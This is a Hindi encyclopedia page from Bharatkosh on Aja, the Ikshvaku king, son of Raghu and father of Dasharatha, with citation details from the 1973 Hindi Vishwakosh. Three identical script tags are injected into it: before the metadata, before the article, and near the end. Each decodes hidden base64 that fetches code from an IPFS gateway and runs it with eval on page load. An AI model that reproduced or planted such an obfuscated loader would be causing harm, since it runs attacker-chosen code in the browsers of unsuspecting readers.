अज

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
अज
पुस्तक नाम हिन्दी विश्वकोश खण्ड 1
पृष्ठ संख्या 81
भाषा हिन्दी देवनागरी
संपादक सुधाकर पाण्डेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1973 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक चंद्रचूड़ मणि,सदगोपाल ।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अज उत्तर कोशल के इक्ष्वाकुवंशी काकुत्स्य राजाओं में रघु के पुत्र अज बड़े प्रतापी थे। उनकी पत्नी का नाम इंदुमती तथा पुत्र का नाम दशरथ था। ऐक्ष्वकु परंपरा के अनुसार उन्होंने मगध, अंग, अनूप, मथुरा आदि के राजाओं को युद्ध में परास्त किया था। कालिदास ने अपने सुप्रसिद्ध काव्य रघुवंश में इंदुमती स्वयंवर तथा अजविलाप प्रसंगों का बड़ा मार्मिक और विशद चित्रण किया है। उपर्युक्त के अतिरिक्त कश्यप ऋषि और उत्तम मनु के पुत्रों का नाम भी अज ही था। उक्त नाम के एक ऋषि भी थे जिनके कुल में धनंजय, कपर्देय, परिकूट तथा पाणिनि ऋषि उत्पन्न हुए। इसी नाम के एक वीर ने महाभारत में पांडव पक्ष से युद्ध किया था।

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



टीका टिप्पणी और संदर्भ